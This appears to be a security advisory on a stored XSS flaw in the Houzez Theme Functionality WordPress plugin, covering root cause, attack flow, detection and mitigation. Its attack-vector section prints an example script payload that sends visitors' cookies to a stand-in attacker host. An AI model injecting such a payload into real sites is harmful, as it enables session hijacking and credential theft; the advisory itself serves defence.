CVE-2026-24355: Houzez Theme Stored XSS Vulnerability

CVE-2026-24355 Overview

CVE-2026-24355 is a Stored Cross-Site Scripting (XSS) vulnerability in the Houzez Theme - Functionality WordPress plugin (houzez-theme-functionality), developed by favethemes. This vulnerability allows attackers to inject malicious scripts that are stored on the target server and executed when users view the affected pages.

Stored XSS vulnerabilities are particularly dangerous because the malicious payload persists on the server and can affect multiple users who visit the compromised page, potentially leading to session hijacking, credential theft, malware distribution, or defacement of the website.

Critical Impact

Attackers can inject persistent malicious scripts that execute in visitors' browsers, potentially compromising user sessions, stealing credentials, or performing actions on behalf of authenticated users.

Affected Products

• Houzez Theme - Functionality plugin version <= 4.2.6
• WordPress installations using the vulnerable Houzez Theme - Functionality plugin
• All websites running affected versions of the houzez-theme-functionality plugin

Discovery Timeline

• 2026-01-22 - CVE-2026-24355 published to NVD
• 2026-01-22 - Last updated in NVD database

Technical Details for CVE-2026-24355

Vulnerability Analysis

This vulnerability stems from improper neutralization of user-supplied input during web page generation (CWE-79). The Houzez Theme - Functionality plugin fails to properly sanitize or escape user input before including it in dynamically generated web pages. When malicious scripts are submitted through vulnerable input fields, they are stored in the database and subsequently rendered without proper encoding, causing the scripts to execute in the browsers of users viewing the affected content.

The Stored XSS variant is particularly severe because the malicious payload persists on the server, enabling automated attacks against multiple victims without requiring social engineering for each target. This makes it especially dangerous for real estate websites using the Houzez theme, which typically handle sensitive user information and financial transactions.

Root Cause

The root cause of this vulnerability is insufficient input validation and output encoding in the Houzez Theme - Functionality plugin. The plugin does not properly sanitize user-controlled data before storing it in the database, nor does it properly escape the data when rendering it back to web pages. This allows attackers to inject arbitrary JavaScript code that will be executed in the context of other users' browser sessions.

WordPress plugins should implement proper input sanitization using functions like sanitize_text_field(), wp_kses(), or esc_html() to prevent XSS attacks. The absence of these security controls in the affected versions creates this vulnerability.

Attack Vector

The attack vector for this Stored XSS vulnerability involves an attacker submitting malicious JavaScript code through vulnerable input fields within the Houzez Theme - Functionality plugin. The typical attack flow includes:

1. An attacker identifies input fields in the plugin that do not properly sanitize user input
2. The attacker submits a payload containing malicious JavaScript (e.g., <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>)
3. The malicious script is stored in the WordPress database
4. When legitimate users view pages containing the stored content, the malicious script executes in their browsers
5. The attacker can then steal session cookies, capture keystrokes, redirect users to phishing sites, or perform other malicious actions

This vulnerability does not require authentication in many cases, and the impact extends to all users who view the compromised content, including administrators.

Detection Methods for CVE-2026-24355

Indicators of Compromise

• Unexpected JavaScript code in database fields associated with the Houzez Theme - Functionality plugin
• Unusual HTML tags or script elements in property listings, user profiles, or other user-generated content areas
• Browser console errors or warnings related to blocked inline scripts (if CSP is configured)
• Reports from users about unexpected redirects or pop-ups when viewing property pages

Detection Strategies

• Review WordPress database tables for suspicious script tags or JavaScript event handlers in text fields
• Implement Web Application Firewall (WAF) rules to detect XSS payloads in HTTP requests
• Enable Content Security Policy (CSP) headers to help detect and block inline script execution
• Monitor server access logs for requests containing common XSS payload patterns

Monitoring Recommendations

• Deploy real-time monitoring for changes to database content that may indicate XSS payload injection
• Configure browser-based XSS detection using CSP reporting directives
• Regularly scan the WordPress installation using security plugins that detect stored XSS
• Monitor for abnormal outbound connections from client browsers that may indicate successful XSS exploitation

How to Mitigate CVE-2026-24355

Immediate Actions Required

• Update the Houzez Theme - Functionality plugin to the latest patched version immediately
• Review and sanitize existing database content for any injected malicious scripts
• Implement Content Security Policy (CSP) headers to mitigate the impact of any undetected XSS payloads
• Consider temporarily disabling user input features in the plugin until the update is applied

Patch Information

Administrators should update the Houzez Theme - Functionality plugin to a version newer than 4.2.6 that addresses this vulnerability. The update can be applied through the WordPress admin dashboard under Plugins > Updates, or by manually downloading and installing the patched version from the plugin source.

For detailed vulnerability information and patch guidance, refer to the Patchstack WordPress Vulnerability Database.

Workarounds

• Implement a Web Application Firewall (WAF) with XSS filtering rules to block malicious payloads
• Configure strict Content Security Policy (CSP) headers to prevent inline script execution
• Restrict access to input features in the plugin to trusted users only until a patch can be applied
• Regularly backup the WordPress database and monitor for unauthorized content changes

# Example: Add Content Security Policy header in .htaccess
# This helps mitigate XSS by restricting script sources
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; object-src 'none';"